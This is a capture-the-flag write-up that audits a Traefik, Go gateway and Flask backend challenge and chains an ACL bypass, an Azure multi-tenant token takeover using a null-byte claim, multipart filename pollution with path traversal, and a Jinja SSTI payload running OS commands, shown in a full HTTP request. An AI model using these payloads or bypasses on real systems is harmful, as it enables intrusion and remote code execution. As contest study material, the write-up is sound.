All roads lead to RCE
Introduction
Cybersecurity Student Contest Vietnam Final AD
Category: Web
Write-up date: 30/11/2025
Question:
[+] Challenge Name: All roads lead to RCE
[+] Service: https://dashboard.0x1337.space:1337/
[+] Description: Vibe coding meets vibe hacking. Note for players: You might need Azure account to solve this challenge
[+] Binary: https://drive.google.com/file/d/12NRMR77almF_MS-scWb4kIrBMYuFQpW_/view?usp=sharing
[+] [Noted]: File Patch Upload Format: .zip
[+] Patch guideline: Send message to authors after you solve via telegram (@n3mocap or @lmaplmaplmap) for detail patch guideline
Source code audit
Docker Compose
Let's look around and find the flow of the code, first thing is the docker compose
services:
traefik:
image: traefik:v2.6.6
container_name: traefik_container_original
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--providers.file.watch=true"
- "--log.level=INFO"
- "--accesslog=false"
- "--entrypoints.websecure.address=:443"
ports:
- "443:443"
volumes:
- ./traefik-dynamic.yml:/etc/traefik/dynamic.yml:ro
networks:
- container_original_net
depends_on:
gateway:
condition: service_healthy
gateway:
build:
context: ./gateway
target: dev
container_name: gateway_container_original
volumes:
- ./gateway:/app:rw
- ./gateway/static:/app/static:ro
- gateway_container_original_build:/app/tmp
environment:
- BACKEND_URL=http://backend:5000
- PORT=8000
- CGO_ENABLED=0
networks:
- container_original_net
depends_on:
- backend
healthcheck:
test: [ "CMD", "curl", "-f", "http://localhost:8000/gateway-health" ]
interval: 10s
timeout: 5s
retries: 3
start_period: 15s
backend:
build: ./backend
container_name: backend_container_original
environment:
- FLASK_ENV=production
volumes:
- ./flag.txt:/flag.txt:ro
networks:
- container_original_net
networks:
container_original_net:
driver: bridge
volumes:
gateway_container_original_build:
As we can see, there are three services in this compose, traefik, gateway, backend. traefik serve a role as
reserve proxy for the whole website. We can guess that gateway is the frontend and when needed data, the gateway
will call the backend to compute or do some "server" task.
After check image, we can confirm that traefik multiple CVE. Exclude all unexploitable CVE, we have a list bellow
- CVE-2024-52003 (allows the client to provide the X-Forwarded-Prefix header from an untrusted source)
- CVE-2024-45410 (some of custom headers can indeed be removed and in certain cases manipulated)
Traefik
We can confirm our theories when looking at traefik-dynamic.yml file
http:
routers:
gateway-router:
rule: "PathPrefix(`/`)"
service: gateway-service
priority: 100
entryPoints: [ "websecure" ]
tls: { }
services:
gateway-service:
loadBalancer:
servers:
- url: "http://gateway:8000"
passHostHeader: true
There a no routing from traefik so we can confirm out theory that there are no connection from user to backend. We
can safely conclude that the app working order is like this traefik -> gateway -> backend. Also note that the flag is
mount in backend. So, in order to get the flag, we have to trick backend send the data though the gateway and
traefik.
Gateway
First, let's hunt for CVE for the golang, the jwt-v5 from golang have CVE-2025-30204. This CVE can be exploited to
DoS the wild, but it's inappropriate for this case.
To know how the gateway working and what the endpoints of gateway, first thing we have to look for is the defined of all
the endpoints. Here all the handler of this webpage from gateway/main.go.
http.HandleFunc("/gateway-health", gateway.healthHandler)
http.HandleFunc("/gateway-login", gateway.loginHandler)
http.HandleFunc("/gateway-logout", gateway.logoutHandler)
http.HandleFunc("/gateway-dashboard", gateway.serveDashboardPage)
http.HandleFunc("/", gateway.handler)
We know that the web is protected with ACL, so let's have look at ACL first in gateway/main.go. This is an initialize
function from gateway define each role admin, user and guest and each path that user in roles can access.
func (g *Gateway) initializeData() {
// Mock users database
g.users = map[string]User{
"admin": {
Username: "admin",
Roles: []string{"admin", "user"},
},
"user1": {
Username: "user1",
Roles: []string{"user"},
},
"guest": {
Username: "guest",
Roles: []string{"guest"},
},
}
// ACL Rules - Order matters! More specific rules should come first
g.aclRules = []ACLRule{
{
Path: "/admin",
Methods: []string{"GET", "POST", "PUT", "DELETE"},
RequiredRole: "admin",
},
{
Path: "/uploads",
Methods: []string{"GET", "POST", "PUT", "DELETE"},
RequiredRole: "admin", // Allow all users (guest is the default minimum role)
},
{
Path: "/",
Methods: []string{"GET"},
RequiredRole: "guest",
},
}
}
So let's talk about the function that handle ACL in gateway/handler.go. If gateway can't extract user data from jwt
that client give, it will redirect to /gateway-login and prompt user to try again. Else they will check forbidden
character, then check ACL and finally if we pass all of that, the server will add 2 header X-Gateway-User and
X-Gateway-Access and then forward it to the backend using g.forwardRequest(w, r, r.URL.Path).
func (g *Gateway) handler(w http.ResponseWriter, r *http.Request) {
start := time.Now()
log.Printf("REQUEST: %s %s from %s", r.Method, r.URL.Path, r.RemoteAddr)
username, err := g.extractUser(r)
if err != nil {
log.Printf("Authentication failed: %v, redirecting to login page", err)
http.Redirect(w, r, "/gateway-login", http.StatusFound)
return
}
log.Printf("User: %s", username)
// Decode path for ACL check
decodedPath, err := url.QueryUnescape(r.URL.Path)
if err != nil {
log.Printf("Decode error: %v", err)
decodedPath = r.URL.Path
}
log.Printf("Path: %s -> %s cc", r.URL.Path, decodedPath)
// Check for bypass characters in decoded path
bypassChars := []string{"#", "?", ";", "&", "//", "\\", "..", "%00", " ", "\r", "\n"}
for _, char := range bypassChars {
if strings.Contains(decodedPath, char) {
log.Printf("BLOCKED: Decoded path contains bypass character: %s", char)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusBadRequest)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Invalid Path",
"reason": fmt.Sprintf("Path contains forbidden character: %s", char),
"path": decodedPath,
"original_path": r.URL.Path,
})
return
}
}
// Check ACL
allowed, reason := g.checkACL(username, decodedPath, r.Method)
if !allowed {
log.Printf("DENIED: %s", reason)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusForbidden)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Access Denied",
"reason": reason,
"username": username,
"path": decodedPath,
"original_path": r.URL.Path,
})
return
}
log.Printf("GRANTED: %s", reason)
// Add gateway headers
r.Header.Set("X-Gateway-User", username)
r.Header.Set("X-Gateway-Access", "granted")
// Forward with original path
g.forwardRequest(w, r, r.URL.Path)
log.Printf("Completed in %v", time.Since(start))
}
Have a closer look at forwardRequest in gateway/handler.go. The forwardRequest function first check parsing url,
next they limit all request to 32mb and verify multipart filename. Then they forward http request to the backend and if
the http client don't throw any error send the response back to the user. Now let's go through theverifyFileName in
gateway/handler.go.
func (g *Gateway) forwardRequest(w http.ResponseWriter, r *http.Request, pathToSend string) {
backendURL := os.Getenv("BACKEND_URL")
if backendURL == "" {
backendURL = "http://backend:5000"
}
backend, err := url.Parse(backendURL)
if err != nil {
log.Printf("Error parsing backend URL: %v", err)
http.Error(w, "Gateway error", http.StatusInternalServerError)
return
}
var reqBody io.Reader = r.Body
if r.Method == "POST" || r.Method == "PUT" || r.Method == "PATCH" {
r.Body = http.MaxBytesReader(nil, r.Body, 32<<20) // Limit 32MB
bodyBytes, err := io.ReadAll(r.Body)
if err != nil {
log.Printf("Error reading body: %v", err)
http.Error(w, "Request too large or invalid", http.StatusRequestEntityTooLarge)
return
}
r.Body = io.NopCloser(strings.NewReader(string(bodyBytes)))
if err := r.ParseMultipartForm(32 << 20); err != nil {
log.Printf("Error parsing multipart form: %v", err)
http.Error(w, "Invalid multipart data", http.StatusBadRequest)
return
}
if r.MultipartForm != nil && r.MultipartForm.File != nil {
for fieldName, fileHeaders := range r.MultipartForm.File {
for i, fileHeader := range fileHeaders {
fileName := fileHeader.Filename
log.Printf(" File %d: filename=%s, size=%d", i, fileName, fileHeader.Size)
log.Printf("Verifying file: field=%s, filename=%s", fieldName, fileName)
if err := verifyFileName(fileName); err != nil {
log.Printf("BLOCKED: Invalid filename '%s': %v", fileName, err)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusBadRequest)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Invalid filename",
"filename": fileName,
"reason": err.Error(),
})
return
}
}
}
log.Printf("Multipart filename verification passed")
}
reqBody = strings.NewReader(string(bodyBytes))
}
req, err := http.NewRequest(r.Method, "", reqBody)
if err != nil {
log.Printf("Error creating request: %v", err)
http.Error(w, "Gateway error", http.StatusInternalServerError)
return
}
Path := pathToSend
if r.URL.RawQuery != "" {
Path += "?" + r.URL.RawQuery
}
req.URL = &url.URL{
Scheme: backend.Scheme,
Host: backend.Host,
Opaque: Path,
}
req.Host = backend.Host
log.Printf("Forwarding: %s %s", r.Method, Path)
log.Printf(" Original path (encoded): %s", pathToSend)
req.Header = r.Header.Clone()
resp, err := (&http.Client{}).Do(req)
if err != nil {
log.Printf("Backend error: %v", err)
http.Error(w, "Backend unavailable", http.StatusBadGateway)
return
}
defer resp.Body.Close()
for k, v := range resp.Header {
w.Header()[k] = v
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
log.Printf("Response: %d", resp.StatusCode)
}
The verifyFileName check the filename contain string that has {"..", "/", "\\", "\x00", "\r", "\n"} or end with
{".exe", ".bat", ".cmd", ".sh", ".ps1", ".php", ".jsp", ".asp", ".aspx", ".html", ".py", ".pyc", ".so"}. If yes then
throws up error end return else return null.
func verifyFileName(filename string) error {
if filename == "" {
return nil
}
dangerousPatterns := []string{"..", "/", "\\", "\x00", "\r", "\n"}
for _, pattern := range dangerousPatterns {
if strings.Contains(filename, pattern) {
return fmt.Errorf("forbidden pattern '%s'", pattern)
}
}
if len(filename) > 255 {
return fmt.Errorf("filename too long")
}
suspiciousExtensions := []string{".exe", ".bat", ".cmd", ".sh", ".ps1", ".php", ".jsp", ".asp", ".aspx", ".html", ".py", ".pyc", ".so"}
lowerFilename := strings.ToLower(filename)
for _, ext := range suspiciousExtensions {
if strings.HasSuffix(lowerFilename, ext) {
return fmt.Errorf("forbidden extension '%s'", ext)
}
}
return nil
}
Continue to another handler, the loginHandler in gateway/main.go simply just get the request from user, check if
username is in valid length and then call backend for authentication then return user with jwt.
func (g *Gateway) loginHandler(w http.ResponseWriter, r *http.Request) {
// Serve HTML page for GET requests
if r.Method == http.MethodGet {
g.serveLoginPage(w, r)
return
}
w.Header().Set("Content-Type", "application/json")
// Only accept POST for authentication
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusMethodNotAllowed)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Method not allowed, use POST",
})
return
}
// Parse request body with size limit
r.Body = http.MaxBytesReader(w, r.Body, 4096) // Max 4KB for form data
var loginReq struct {
Username string `json:"username"`
Password string `json:"password"`
Type string `json:"type"`
Token string `json:"token"`
}
if err := json.NewDecoder(r.Body).Decode(&loginReq); err != nil {
w.WriteHeader(http.StatusBadRequest)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Invalid JSON body",
})
return
}
// Validate input length to prevent DoS
if len(loginReq.Username) > 100 {
w.WriteHeader(http.StatusBadRequest)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Username too long",
})
return
}
// Call backend /login endpoint for authentication
backendURL := os.Getenv("BACKEND_URL")
if backendURL == "" {
backendURL = "http://backend:5000"
}
// Build form data for backend
formData := url.Values{}
formData.Set("username", loginReq.Username)
if loginReq.Password != "" {
formData.Set("password", loginReq.Password)
formData.Set("type", "password")
}
if loginReq.Token != "" {
formData.Set("token", loginReq.Token)
if loginReq.Type != "" {
formData.Set("type", loginReq.Type)
}
}
// Make request to backend
backendReq, err := http.NewRequest("POST", backendURL+"/login", strings.NewReader(formData.Encode()))
if err != nil {
log.Printf("Failed to create backend request: %v", err)
w.WriteHeader(http.StatusInternalServerError)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Authentication service error",
})
return
}
backendReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{Timeout: 10 * time.Second}
backendResp, err := client.Do(backendReq)
if err != nil {
log.Printf("Backend authentication error: %v", err)
w.WriteHeader(http.StatusInternalServerError)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Authentication service unavailable",
})
return
}
defer backendResp.Body.Close()
// Check backend response
if backendResp.StatusCode != http.StatusOK {
log.Printf("Login failed for user: %s (backend returned %d)", loginReq.Username, backendResp.StatusCode)
w.WriteHeader(backendResp.StatusCode)
io.Copy(w, backendResp.Body)
return
}
// Parse backend response
var backendResult struct {
Username string `json:"username"`
Role string `json:"role"`
}
if err := json.NewDecoder(backendResp.Body).Decode(&backendResult); err != nil {
log.Printf("Failed to parse backend response: %v", err)
w.WriteHeader(http.StatusInternalServerError)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Authentication service error",
})
return
}
var username string
var userRoles []string
if backendResult.Role == "admin" {
username = "admin"
userRoles = []string{"admin", "user", "guest"}
} else {
username = "guest"
userRoles = []string{"guest"}
}
g.users[username] = User{
Username: username,
Roles: userRoles,
}
secret := g.jwtSecret
// Create JWT token
now := time.Now()
claims := jwt.MapClaims{
"sub": username,
"username": username,
"roles": userRoles,
"iat": now.Unix(),
"exp": now.Add(1 * time.Hour).Unix(), // Expires in 1 hour
"iss": "gateway", // Issuer
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
tokenString, err := token.SignedString([]byte(secret))
if err != nil {
log.Printf("Failed to sign token: %v", err)
w.WriteHeader(http.StatusInternalServerError)
json.NewEncoder(w).Encode(map[string]interface{}{
"error": "Failed to generate token",
})
return
}
log.Printf("Login successful for user: %s (role: %s)", username, backendResult.Role)
// Set HTTP-only cookie for security
cookie := &http.Cookie{
Name: "auth_token",
Value: tokenString,
Path: "/",
HttpOnly: true,
Secure: false, // Set to true in production with HTTPS
SameSite: http.SameSiteLaxMode,
Expires: now.Add(1 * time.Hour),
}
http.SetCookie(w, cookie)
// Return success response (without token in body for security)
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]interface{}{
"success": true,
"username": username,
"roles": userRoles,
"expires": now.Add(1 * time.Hour).Format(time.RFC3339),
"message": "Authentication successful, token set in cookie",
})
logoutHandler just clear the cookies and return message "Logged out successfully"
func (g *Gateway) logoutHandler(w http.ResponseWriter, r *http.Request) {
// Clear the authentication cookie
cookie := &http.Cookie{
Name: "auth_token",
Value: "",
Path: "/",
HttpOnly: true,
Secure: false, // Set to true in production with HTTPS
SameSite: http.SameSiteLaxMode,
Expires: time.Unix(0, 0), // Set to past date to delete cookie
MaxAge: -1,
}
http.SetCookie(w, cookie)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]interface{}{
"success": true,
"message": "Logged out successfully",
})
}
healthHandler just send back debug information such as timestamp, users logged-in count and acl rules count.
func (g *Gateway) healthHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]interface{}{
"status": "healthy",
"service": "gateway",
"timestamp": time.Now().Format(time.RFC3339),
"users_count": len(g.users),
"acl_rules_count": len(g.aclRules),
})
}
Backend
First thing first, let's check dependency of python for any exploit/CVEs found in the wild. Reading the Dockerfile,
the developer install the latest version of flask, request and pycryptodome. So we can surely confirm that there
is no CVEs in that
Also, python:3.9-slim is quite new image with low severity and not affect ours job so we can safely pass that.
login handler check if user request has username, password, type, token exists. After that they will check if user
exists or not, and finally check the password/token if valid or not and return back json contain username, role for
gateway to generate jwt.
@app.post('/login')
def login():
username = request.form.get('username')
password = request.form.get('password')
type = request.form.get('type')
token = request.form.get('token')
if not username:
return jsonify({"error": "Missing username"}), 400
exist = run_query("SELECT 1 FROM users WHERE username='?' LIMIT 1".replace('?', username))
if not exist:
run_query("INSERT INTO users (username, password) VALUES (?, '')", (username,), True)
if not type:
return jsonify({"error": "Missing type"}), 400
auth = False
if type == 'password':
if not exist:
if not password:
return jsonify({"error": "Missing password"}), 400
pwd_hmac = hmac.new(HMAC_SECRET.encode(), password.encode(), 'sha256').hexdigest()
run_query("UPDATE users SET password=? WHERE username=?", (pwd_hmac, username), True)
auth = username
else:
if not password:
return jsonify({"error": "Missing password"}), 400
pwd_hmac = hmac.new(HMAC_SECRET.encode(), password.encode(), 'sha256').hexdigest()
user = run_query("SELECT password FROM users WHERE username=? LIMIT 1", (username,))
if user and hmac.compare_digest(user[0][0], pwd_hmac):
auth = username
if token:
if type == 'azure' or type == 'google':
auth = handle_token(token, type)
if auth != username:
return jsonify({"error": "Authentication error"}), 401
if auth:
print(f"Login as: {auth}", file=sys.stderr)
return jsonify({"username": username, "role": "admin" if username == "admin" else "guest"}), 200
return jsonify({"error": "Authentication error"}), 401
admin route check if the request is coming from IP 127.0.0.1. The reason why it checks for the X-Real-IP not form
request ip because the backend is behind the gateway and traefik, not expose to outside NAT. This setup can be
vulnerable to outside attack if the reserve proxy misconfiguration or the reserve proxy have a bug.
@app.route('/admin', methods=['GET', 'POST'])
def admin():
real_ip = request.headers.get('X-Real-IP')
local_pass = 1
if real_ip and real_ip != '127.0.0.1':
local_pass = 0
if local_pass == 1:
print("Admin access granted (localhost)")
else:
gateway_user = request.headers.get('X-Gateway-User')
if not gateway_user:
return jsonify({"error": "Missing X-Gateway-User header - authentication required"}), 401
if gateway_user != 'admin':
return jsonify({"error": "Admin access required"}), 403
print(f"Admin access granted for gateway user: {gateway_user}")
if request.method == 'GET':
# List files in uploads directory for file manager UI
files = []
if os.path.exists(TEMPLATE_DIR):
for filename in os.listdir(TEMPLATE_DIR):
filepath = os.path.join(TEMPLATE_DIR, filename)
if os.path.isfile(filepath):
file_stat = os.stat(filepath)
files.append({
'name': filename,
'size': file_stat.st_size,
'modified': file_stat.st_mtime
})
return render_template('file_manager.html', files=files, upload_dir=TEMPLATE_DIR)
# POST request - handle file upload (original logic)
uploaded_files = []
if request.files:
for field_name in request.files:
file = request.files[field_name]
if file and file.filename:
filename = file.filename
print(f"Processing file upload: field={field_name}, filename={filename}")
filepath = os.path.join(TEMPLATE_DIR, filename)
try:
file.save(filepath)
file_size = os.path.getsize(filepath)
uploaded_files.append({
'field_name': field_name,
'filename': filename,
'size': file_size,
'saved_path': filepath
})
print(f"File uploaded: {filename} ({file_size} bytes)")
except Exception as e:
print(f"Error saving file {filename}: {e}")
return jsonify({"error": f"Failed to save file {filename}: {str(e)}"}), 500
form_data = dict(request.form) if request.form else {}
return jsonify({
"message": "File upload processed",
"uploaded_files": uploaded_files,
"form_data": form_data,
"template_dir": TEMPLATE_DIR,
"real_ip": real_ip
})
The upload route take filename arg, then send file from directory. The handler can't be exploited with path traversal
because it uses flask builtin send_from_directory function.
@app.route('/uploads')
def serve_uploaded_file():
from flask import send_from_directory
filename = request.args.get('filename')
if not filename:
return jsonify({"error": "Missing filename parameter"}), 400
return send_from_directory(TEMPLATE_DIR, filename)
Finally, the / route accept all method and return size of the home.html template after render
@app.route('/', methods=['GET', 'POST', 'PUT', 'PATCH', 'DELETE'])
def catch_all():
return jsonify({"message": len(render_template('./home.html', user="Alice"))})
Summary
We have a web application that have upload functionality, all services consist of:
- Traefik instance running on port 443 with self sign certificate and expose to the outside
- Gateway instance running on port 8000
- Backend instance running on port 5000
- The
traefikinstance send request to the gateway, then thegatewaycheck for ACL, forward it tobackendand finally return it to user (traefik -> gateway -> backend)
A logged-in guest can:
- Access dashboard
- Get size of
home.html - Access health check from
gateway - Logout
A logged-in admin can:
- Do users permission task
- Uploads file
Also, here is all the list of CVEs founded:
- CVE-2024-52003 (allows the client to provide the X-Forwarded-Prefix header from an untrusted source)
- CVE-2024-45410 (some of custom headers can indeed be removed and in certain cases manipulated)
Exploit
Using Traefik reverse-proxy to bypass login (1/2)
In the admin route, what we have here is an if else that check for X-Real-IP is localhost or not. If yes then default
to admin account
real_ip = request.headers.get('X-Real-IP')
local_pass = 1
if real_ip and real_ip != '127.0.0.1':
local_pass = 0
if local_pass == 1:
print("Admin access granted (localhost)")
First thing, the ACL blocking the /admin route, how can we bypass that?
Looking closely as the forbidden filter, we can bypass it using %0a
or non-breaking space, because when it passed to the forwardRequest, before
forwarding request to backend the
&url.URL path will normalize and remove any trailing space and including non-breaking space, making it proper url.
Path := pathToSend
if r.URL.RawQuery != "" {
Path += "?" + r.URL.RawQuery
}
req.URL = &url.URL{
Scheme: backend.Scheme,
Host: backend.Host,
Opaque: Path,
}
req.Host = backend.Host
log.Printf("Forwarding: %s %s", r.Method, Path)
log.Printf(" Original path (encoded): %s", pathToSend)
req.Header = r.Header.Clone()
resp, err := (&http.Client{}).Do(req)
if err != nil {
log.Printf("Backend error: %v", err)
http.Error(w, "Backend unavailable", http.StatusBadGateway)
return
}
defer resp.Body.Close()
for k, v := range resp.Header {
w.Header()[k] = v
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
log.Printf("Response: %d", resp.StatusCode)
Combine it with CVE-2024-45410 we found earlier, and voilà we have successful bypass it with admin account. The exploit of traefik we can reuse from HackTheBox Business-CTF

Multi-Tenant Authorization Logic Flaw to ATO (1/2)
When click sign in as microsoft, first the website redirect to Microsoft EntraID login. After that the OpenID EntraID
redirect back to /gateway-login and continue to processing. The code below is the function to handle token if the
login request type is token and login token exists.
def handle_token(token, type):
try:
print(f"Calling handle_azure_token: {type} - {token}", file=sys.stderr)
payload = verify_signature(token)
print(payload, file=sys.stderr)
user = 'guest'
user = libverifysso.check_claims(payload, type)
return user
except Exception as e:
print(f"handle_azure_token error: {e}", file=sys.stderr)
First its calling for verify_signature, then default user to guest and using already complied Cpython library to
handle username and return the user.
def verify_signature(token):
try:
parts = token.split('.')
if len(parts) != 3: return None
headers = json.loads(b64decode(parts[0]).decode())
claims = json.loads(b64decode(parts[1]).decode())
kid = headers['kid']
iss = claims['iss']
jwks_uri = requests.get(f"{iss}/.well-known/openid-configuration", allow_redirects=False).json()['jwks_uri']
keys = requests.get(jwks_uri, allow_redirects=False).json()['keys']
for key in keys:
if key['kid'] == kid:
n = b64decode(key['n'])
e = b64decode(key['e'])
public_key = RSA.construct((int.from_bytes(n, byteorder='big'), int.from_bytes(e, byteorder='big')))
signature = b64decode(parts[2])
data = f"{parts[0]}.{parts[1]}".encode('utf-8')
hash_data = SHA256.new(data)
pkcs1_15.new(public_key).verify(hash_data, signature)
return claims
except Exception as e:
print(f"verify_signature error: {e}", file=sys.stderr)
return None
Function verify_signature is simply the function to check the validation of jwt key via jwks_uri that the SSO provide.
Let's decompile the library that already compile.

Azure check for preferred_username, ver, aud, exp, iss is not null, then it check for iss com from one of 2 url
https://login.microsoftonline.com/ or https://sts.windows.net/, exp is bigger than current timestamp. If the
jwt pass all the test then return the preferred_username back to the caller function.
With this configuration, the program didn't validate any tenant id (tid) and not use any unique field such as sub. So
attacker can create their own "evil" Azure tenant, log in to your app, and pass the signature check because Microsoft
legitimately signed their token. Learn more here.
But, how can we assign preferred_username when we already have one. The answer is quite simple, add a null byte after
before ending preferred_username\u0000 or upn. When pass into python, preferred_username and
preferred_username\u0000 is completely different field but when pass into Cython, they treat like the same because
ending of a string in C is \u0000 or null byte. Also because of how Python dictionary convert to C, the custom claim
always reading last, making it always the username that attacker can control.
Let's create custom claim preferred_username\u0000 with
this (How to create custom claim)
Then create a new multi-tenant app

Add website url to redirect url

Then login using that account by choosing between two options
- Postman (Microsoft docs).
- Add match and replace and replace their
tenant_idto ours.
Here I choose options 2, let's use match and replace from burp suite
Add 2 rules, the first rules match response body of /gateway-url

Second rule match the request body of username request body of /gateway-url from any to admin.

And voilà, we are now admin.

We can access the admin file manager

RCE via SSTI (2/2)
Now we can access upload, what's next? Greeting admin panel is a file manager. Let's see what it's can do
# POST request - handle file upload (original logic)
uploaded_files = []
if request.files:
for field_name in request.files:
file = request.files[field_name]
if file and file.filename:
filename = file.filename
print(f"Processing file upload: field={field_name}, filename={filename}")
filepath = os.path.join(TEMPLATE_DIR, filename)
try:
file.save(filepath)
file_size = os.path.getsize(filepath)
uploaded_files.append({
'field_name': field_name,
'filename': filename,
'size': file_size,
'saved_path': filepath
})
print(f"File uploaded: {filename} ({file_size} bytes)")
except Exception as e:
print(f"Error saving file {filename}: {e}")
return jsonify({"error": f"Failed to save file {filename}: {str(e)}"}), 500
form_data = dict(request.form) if request.form else {}
return jsonify({
"message": "File upload processed",
"uploaded_files": uploaded_files,
"form_data": form_data,
"template_dir": TEMPLATE_DIR,
"real_ip": real_ip
})
In here, the system using os.path.join without any sanitize trusting the user input. That's can cause path traversal
that allows attacker to save anywhere they want. But that's not enough, we still can't save new template because of
gateway filters
func verifyFileName(filename string) error {
if filename == "" {
return nil
}
dangerousPatterns := []string{"..", "/", "\\", "\x00", "\r", "\n"}
for _, pattern := range dangerousPatterns {
if strings.Contains(filename, pattern) {
return fmt.Errorf("forbidden pattern '%s'", pattern)
}
}
if len(filename) > 255 {
return fmt.Errorf("filename too long")
}
suspiciousExtensions := []string{".exe", ".bat", ".cmd", ".sh", ".ps1", ".php", ".jsp", ".asp", ".aspx", ".html", ".py", ".pyc", ".so"}
lowerFilename := strings.ToLower(filename)
for _, ext := range suspiciousExtensions {
if strings.HasSuffix(lowerFilename, ext) {
return fmt.Errorf("forbidden extension '%s'", ext)
}
}
return nil
}
Introducing HTTP Parameter Pollution but in multipart. After countless time of trying, turn out when we add 2 filename field, Go will read the first one but in python its will read the last one.
Using that bug, we can easily write into the file_manager.html or the home.html (for attack defend, and you don't
want to show flag)
POST /admin HTTP/2
Host: localhost
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjQ5NDU2MTcsImlhdCI6MTc2NDk0MjAxNywiaXNzIjoiZ2F0ZXdheSIsInJvbGVzIjpbImFkbWluIiwidXNlciIsImd1ZXN0Il0sInN1YiI6ImFkbWluIiwidXNlcm5hbWUiOiJhZG1pbiJ9.3N2GiZd8ZyRkSTmJ49kYUF4ZuvdkS-ngJxh77z4frpo
Content-Length: 337
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEtCNHBzu6X7v2tTj
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: */*
Origin: https://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost/admin
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
------WebKitFormBoundaryEtCNHBzu6X7v2tTj
Content-Disposition: form-data; name="file"; filename="public.zip"; filename="../templates/file_manager.html"
Content-Type: application/zip
{{ request.application.__globals__.__builtins__.__import__('os').popen(request.args.get('a')).read() }}
------WebKitFormBoundaryEtCNHBzu6X7v2tTj--
And now we can run command from file_manager.html, just run /readflag and done.
